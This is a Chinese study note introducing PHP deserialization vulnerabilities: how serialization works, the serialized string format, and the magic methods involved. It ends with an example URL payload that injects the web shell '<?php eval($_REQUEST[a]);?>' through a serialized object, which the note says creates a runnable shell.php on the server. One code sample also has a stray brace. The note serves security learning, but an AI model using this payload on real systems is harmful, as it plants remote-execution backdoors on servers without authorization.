基础:PHP反序列化学习总结(新手入门) - 知乎 (zhihu.com)
进阶:thinkphp5.0.24反序列化漏洞分析_thinkphp v5.0.24_Sk1y的博客-优快云博客
涉及函数
序列化:serialize() 反序列化:unserialize()
反序列化漏洞原理
序列化:将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。
反序列化:从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程
反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击
基础
序列化: 将对象序列化为字符串 <?php class person{ public $name='zhangsan'; public $sex='boy'; public $age='18'; } $zhangsan=new person(); $str=serialize($zhangsan); echo $str; ?>
O:6:"person":3:{s:4:"name";s:8:"zhangsan";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";} O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示 6 代表类名字占三个字符 person 类名 3 代表三个属性 s代表字符串 4代表属性名长度 name属性名 s:4:"name" 字符串 属性值长度 属性值 protected和private有不可打印字符,需进行url编码再输出 protected属性被序列化后属性名长度会增加3,因为属性名会变成%00*%00属性名。 private属性被序列化后属性名会变成%00类名%00属性名。
反序列化: 将字符串反序列化为对象 <?php class person{ public $name='zhangsan'; public $sex='boy'; public $age='18'; } public function __destruct(){ echo 22222222; } } $a='O:6:"person":3:{s:4:"name";s:8:"zhangsan";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}'; $str=unserialize($a); ?>
常见魔术方法
__construct(),类的构造函数,当一个对象创建时被调用 __destruct(),类的析构函数,当一个对象销毁时被调用 __call(),在对象中调用一个不可访问/不存在的方法时调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),获得一个类的成员变量时调用 __set(),在给不可访问(private或protected)或不存在的属性赋值时触发 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用 __sleep(),执行serialize()时,先会调用这个函数 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时会调用该方法 __invoke(),当脚本尝试将对象调用为函数时触发 __set_state(),调用var_export()导出类时,此静态方法会被调用 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息
PHP反序列化例子
执行带有魔术方法的1.php文件,这段代码为序列化,可以理解成编码
运行1.php文件,获得序列化后的值
在url栏中输入:
1.php?id=O:6:"person":3:{s:4:"name";s:27:"<?php eval($_REQUEST[a]);?>";s:3:"sex";s:3:"boy";s:3:"age";s:2:"18";}
查看源码:
在后台发现生成了名为shell.php的文件
可以运行shell.php文件